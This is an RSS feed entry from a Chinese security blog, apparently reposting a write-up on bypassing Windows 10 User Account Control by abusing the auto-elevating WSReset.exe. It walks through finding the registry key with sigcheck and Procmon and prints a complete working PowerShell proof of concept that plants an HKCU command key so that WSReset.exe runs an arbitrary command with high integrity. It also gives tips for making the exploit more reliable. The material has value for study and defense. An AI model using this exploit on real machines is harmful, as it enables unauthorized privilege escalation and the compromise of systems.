<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>uac &#8211; ChaBug安全</title>
	<atom:link href="/tags/uac/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 09 May 2020 08:00:14 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Win10利用应用商店WSReset.exe进行bypassuac</title>
		<link>/tools/1714.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 09 May 2020 07:11:32 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[uac]]></category>
		<category><![CDATA[win10]]></category>
		<category><![CDATA[内网]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1714</guid>

					<description><![CDATA[遇到了win10的环境就找了下bypassuac的。 环境 win10 1909 18363.535 Pro 复现 利用微软提供的sigcheck.exe签名检查工具发现 C:\W...]]></description>
										<content:encoded><![CDATA[<p>遇到了<span class="wpcom_tag_link"><a href="/tags/win10" title="win10" target="_blank">win10</a></span>的环境就找了下<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span><span class="wpcom_tag_link"><a href="/tags/uac" title="uac" target="_blank">uac</a></span>的。</p>
<h2>环境</h2>
<p>win10 1909 18363.535 Pro</p>
<h2>复现</h2>
<p>利用微软提供的<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">sigcheck.exe</a>签名检查工具发现 <code>C:\Windows\System32\WSReset.exe</code> 存在<code>autoElevate</code>属性为<code>true</code></p>
<p><img src="https://y4er.com/img/uploads/20200509104541.png" alt="image.png" /></p>
<p>使用Procmon64.exe添加过滤条件</p>
<p><img src="https://y4er.com/img/uploads/20200509108734.png" alt="image.png" /></p>
<p>没找到 <code>HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command</code></p>
<p>根据<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key">微软文档</a>可知用户特定的设置优先于默认设置，而当前用户可以写入这个值，那么可以使用powershell来实现poc。</p>
<pre><code class="language-powershell line-numbers">&lt;#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.

.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#&gt;

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
</code></pre>
<p>在我自己测试的过程中因为WSReset.exe启动过慢的情况出现了多次复现不成功，建议把powershell脚本去掉后面的清空注册表，避免WSReset运行时找不到注册表，不过记得手动清除。</p>
<p><img src="https://y4er.com/img/uploads/20200509105277.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://www.activecyber.us/activelabs/windows-uac-bypass</li>
<li>https://github.com/sailay1996/UAC_Bypass_In_The_Wild</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
